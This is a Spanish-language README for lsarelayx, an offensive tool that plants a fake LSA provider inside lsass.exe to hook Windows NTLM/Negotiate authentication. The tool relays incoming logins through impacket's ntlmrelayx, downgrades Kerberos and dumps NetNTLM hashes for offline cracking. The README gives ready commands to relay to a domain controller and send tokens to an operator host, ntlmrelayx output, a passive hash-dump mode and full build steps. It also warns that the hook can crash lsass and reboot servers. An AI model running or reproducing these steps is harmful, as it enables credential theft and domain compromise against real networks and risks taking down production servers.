
Herramienta de relé NTLM a nivel de sistema que hookea APIs de autenticación de Windows para retransmitir conexiones NTLM entrantes, degradar Kerberos y volcar hashes NetNTLM para descifrado offline.
lsarelayx es una herramienta de retransmisión NTLM a nivel de sistema diseñada para retransmitir las autenticaciones NTLM entrantes al host en el que se ejecuta. lsarelayx retransmitirá cualquier solicitud de autenticación entrante, incluyendo SMB. Dado que lsarelayx se engancha en los flujos de autenticación de las aplicaciones existentes, la herramienta también intentará atender la solicitud de autenticación original después de que la retransmisión se complete. Esto evitará que la aplicación/protocolo de destino muestre errores y funcione con normalidad para los usuarios finales que se autentiquen contra el host lsarelayx.
lsarelayx consta de tres partes. Un proveedor de autenticación LSA falso implementado dentro de liblsarelay.dll, una aplicación de consola en modo de usuario como interfaz de control y un nuevo módulo de servidor ntlmrelayx llamado RAW.
liblsarelayx.dll es el proveedor de autenticación LSA que carga lsarelayx. Su propósito principal es enganchar los paquetes NTLM y Negotiate para facilitar la redirección de las solicitudes de autenticación a lsarelayx a través de una tubería con nombre local para la retransmisión y el volcado de hashes NetNTLM. liblsarelayx está diseñado para ser lo más simple posible, dejando todo el trabajo pesado a lsarelayx.
lsarelayx.exe es la aplicación de consola principal utilizada para cargar el proveedor de autenticación LSA personalizado (liblsarelayx.dll), escuchar los tokens NTLM y Negotiate entrantes del proveedor de autenticación y retransmitirlos al módulo de servidor RAW de ntlmrelayx. La herramienta también realiza las consultas LDAP utilizadas para capturar información de grupos para los usuarios retransmitidos y devolverla al proveedor de autenticación LSA.
impacket's ntlmrelayx ha implementado una cantidad significativa de trabajo creando ataques de retransmisión y continuará mejorando y agregando más ataques en el futuro. Para aprovechar esto en lugar de reimplementar los ataques directamente dentro de lsarelayx, se creó un nuevo módulo de servidor ntlmrelayx llamado RAW. Actualmente hay un PR abierto en GitHub que implementa el módulo de servidor RAW. El módulo de servidor RAW es independiente del protocolo y está diseñado para aceptar los mensajes NTLM sin procesar directamente desde software de terceros como lsarelayx.
Hasta que el PR se fusione con el repositorio principal de impacket, puede usar esta versión.
Primero inicie el módulo de servidor RAW de ntlmrelayx para escuchar los mensajes NTLM sin procesar pasados desde lsarelayx.
python examples\ntlmrelayx.py -smb2support --no-wcf-server --no-smb-server --no-http-server "-t" smb://dc.victim.lan
Impacket v0.9.24.dev1+20211015.125134.c0ec6102 - Copyright 2021 SecureAuth Corporation
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
lsarelayx requiere permisos de administrador local para ejecutarse. Para ejecutarlo en modo de retransmisión activa, debe especificarse la dirección del host donde ntlmrelayx está ejecutando el módulo de servidor RAW. El puerto predeterminado es 6666. Esto se puede anular con el argumento --port, pero asegúrese de haber anulado también el puerto en el lado de ntlmrelayx usando el argumento --raw-port.
lsarelayx.exe --host 192.168.1.1
[+] Using 192.168.1.1:6666 for relaying NTLM connections
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll
También puede ejecutar lsarelayx en modo pasivo ejecutándolo sin argumentos
lsarelayx.exe
[=] No host supplied, switching to passive mode
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll
Una vez que la DLL liblsarelayx se ha cargado en lsass, actualmente no se puede descargar debido a limitaciones de cómo funcionan los complementos LSA. El cliente se puede cerrar, lo que pondrá la DLL en un estado inactivo hasta que el cliente se inicie nuevamente, pero la DLL estará en uso hasta que se reinicie el sistema.
Dado que el complemento LSA no es realmente un complemento genuino, hay planes para implementar un cargador reflectante dentro del complemento que pueda detenerse e iniciarse a voluntad, pero eso es ejercicio para otro día.
El desarrollo se realizó en Windows 10 y Server 2016. Se realizó una prueba rápida en Windows Server 2012 R2 que funcionó, pero el cálculo de los desplazamientos para el enganche puede fallar en 2012 (esto se puede proporcionar manualmente usando lookuppackage-hint=, si se hace incorrectamente, Windows se reiniciará). No se han realizado pruebas en nada inferior a Windows 10 en el lado de escritorio y no se ha probado nada en Server 2019 en absoluto.
liblsarelayx.dll se cargará dentro del proceso crítico lsass.exe. Si liblsarelayx.dll tiene algún error que provoque un bloqueo de lsass.exe, el host SE reiniciará después de 60 segundos. Aunque se ha hecho el mejor esfuerzo para escribir código libre de errores, no puedo prometer nada. No venga a llorarme porque tumbó al cliente Fortune 500 al bloquear el servidor de archivos ocupado después de usar lsarelayx.
Si tiene Docker instalado, esta es la opción más rápida. Utiliza la imagen ccob/windows_cross con todas las dependencias de compilación preinstaladas.
docker run --rm -it -v $env:pwd\:/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; --build . --target install/strip"
docker run --rm -it -v $(pwd):/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; cmake --build . --target install/strip"
En Linux utilizamos un toolchain de CMake junto con el compilador MinGW. Estos deben instalarse previamente. Para el componente administrado, asegúrese de que la herramienta de línea de comandos dotnet también esté instalada desde .NET core
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..
cmake --build . --target install/strip
Windows requerirá una configuración completa de CMake, MinGW y Visual Studio antes de intentar compilar, es la forma más dolorosa de compilar si no tiene un entorno de desarrollo instalado
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -G "MinGW Makefiles" ..
cmake --build . --target install/strip